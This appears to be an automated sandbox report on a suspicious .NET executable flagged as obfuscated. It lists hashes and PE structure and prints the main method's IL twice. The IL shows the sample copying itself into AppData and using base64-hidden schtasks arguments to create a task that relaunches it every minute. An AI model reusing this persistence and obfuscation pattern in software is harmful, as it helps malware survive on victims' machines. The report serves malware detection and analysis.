Suspicious
Suspect

6a7c14553625dadcd69711cb1c703fe4

PE Executable
|
MD5: 6a7c14553625dadcd69711cb1c703fe4
|
Size: 116.22 KB
|
application/x-dosexec

Summary by MalvaGPT
Characteristics

Symbol Obfuscation Score

Very high

Hash
 Hash Value
MD5
6a7c14553625dadcd69711cb1c703fe4
Sha1
1b6ad5d73f40be2cae2c3f8d7b1623bfd81d54fc
Sha256
30a0af0a664e2830ad2f2d15695a764bb7b24e0f813141280e0acf795c92e5ac
Sha384
02ec811aecc1d15eadf9fda96251ab5931e0e5e8254667137c06bf041f4c361e1476410cf3ce5a739e830be6baa459f7
Sha512
8e1a54ed4f1172e334cf6fefad4947e5f47f2f64067b7d47af71bed7f42ad2f83d9428f61d13a3b0872d5f4f5882e0b32132caf025f0a3cfd06896cf1cb027e5
SSDeep
1536:uT/rli65yO6J2ImYJRQffbZ9bJqzkefdaKWVo1GclvLMQd1:uT5qO6JHmEQfft9bJIkm7r1
TLSH
1AB37295E123809AE41E65F15FEB1DF67BB46AEBD604C9210CCC728119329F5CECB4A3

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
6a7c14553625dadcd69711cb1c703fe4
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0-preview.png
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
ID:0006
ID:0
ID:0007
ID:0
ID:0008
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Module Name

microsoft
Full Name

microsoft
EntryPoint

System.Void Stub.Main::NnT20JfQHENBqQQkSVel()
Scope Name

microsoft
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

testos2
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

<null>
Total Strings

335
Main Method

System.Void Stub.Main::NnT20JfQHENBqQQkSVel()
Main IL Instruction Count

107
Main IL

ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Void Stub.DesktopHelper::w7zl4YcG2ZIVk5uzH6Xx() call System.Boolean Stub.Helper::AXaTa61DxYIxYRUo7zj7() brtrue IL_001F: call System.Boolean Stub.ToolBox::ESvi1OELcZHcMpCMlkTi() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Boolean Stub.ToolBox::ESvi1OELcZHcMpCMlkTi() brtrue IL_002E: nop call System.Void Stub.ToolBox::HiB9CvfqQ6QBnk6N1dwj() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr YXBwZGF0YQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) stloc.0 <null> ldloc.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr XA== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) ldsfld System.String Stub.Settings::hkeutH29bfUMQovRHfOs call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.1 <null> ldsfld System.String Stub.Settings::hkeutH29bfUMQovRHfOs ldloc.1 <null> call System.Void System.IO.File::Copy(System.String,System.String) leave IL_0090: nop dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_0090: nop nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr c2NodGFza3MuZXhl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) ldloc.s V_5 ldc.i4.5 <null> newarr System.String stloc.s V_7 ldloc.s V_7 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr L2NyZWF0ZSAvZiAvc2MgbWludXRlIC9tbyAxIC90biAi call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_7 ldc.i4.1 <null> ldsfld System.String Stub.Settings::hkeutH29bfUMQovRHfOs call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_7 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr IiAvdHIgIg== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_7 ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_7 ldc.i4.4 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr Ig== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_7 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_5 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_4 ldloc.s V_4 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave IL_014F: ldnull dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_014F: ldnull ldnull <null> ldftn System.Void Stub.Main::NQvxw8a011wMnzmu1M4k() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
Module Name

microsoft
Full Name

microsoft
EntryPoint

System.Void Stub.Main::NnT20JfQHENBqQQkSVel()
Scope Name

microsoft
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

testos2
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

<null>
Total Strings

335
Main Method

System.Void Stub.Main::NnT20JfQHENBqQQkSVel()
Main IL Instruction Count

107
Main IL

ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Void Stub.DesktopHelper::w7zl4YcG2ZIVk5uzH6Xx() call System.Boolean Stub.Helper::AXaTa61DxYIxYRUo7zj7() brtrue IL_001F: call System.Boolean Stub.ToolBox::ESvi1OELcZHcMpCMlkTi() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Boolean Stub.ToolBox::ESvi1OELcZHcMpCMlkTi() brtrue IL_002E: nop call System.Void Stub.ToolBox::HiB9CvfqQ6QBnk6N1dwj() nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr YXBwZGF0YQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) stloc.0 <null> ldloc.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr XA== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) ldsfld System.String Stub.Settings::hkeutH29bfUMQovRHfOs call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.1 <null> ldsfld System.String Stub.Settings::hkeutH29bfUMQovRHfOs ldloc.1 <null> call System.Void System.IO.File::Copy(System.String,System.String) leave IL_0090: nop dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_0090: nop nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr c2NodGFza3MuZXhl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) ldloc.s V_5 ldc.i4.5 <null> newarr System.String stloc.s V_7 ldloc.s V_7 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr L2NyZWF0ZSAvZiAvc2MgbWludXRlIC9tbyAxIC90biAi call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_7 ldc.i4.1 <null> ldsfld System.String Stub.Settings::hkeutH29bfUMQovRHfOs call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_7 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr IiAvdHIgIg== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_7 ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_7 ldc.i4.4 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr Ig== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_7 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_5 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_4 ldloc.s V_4 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave IL_014F: ldnull dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_014F: ldnull ldnull <null> ldftn System.Void Stub.Main::NQvxw8a011wMnzmu1M4k() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
6a7c14553625dadcd69711cb1c703fe4 (116.22 KB)
File Structure
6a7c14553625dadcd69711cb1c703fe4
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0-preview.png
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
ID:0006
ID:0
ID:0007
ID:0
ID:0008
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Characteristics
No malware configuration were found at this point.
You must be signed in to post a comment.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙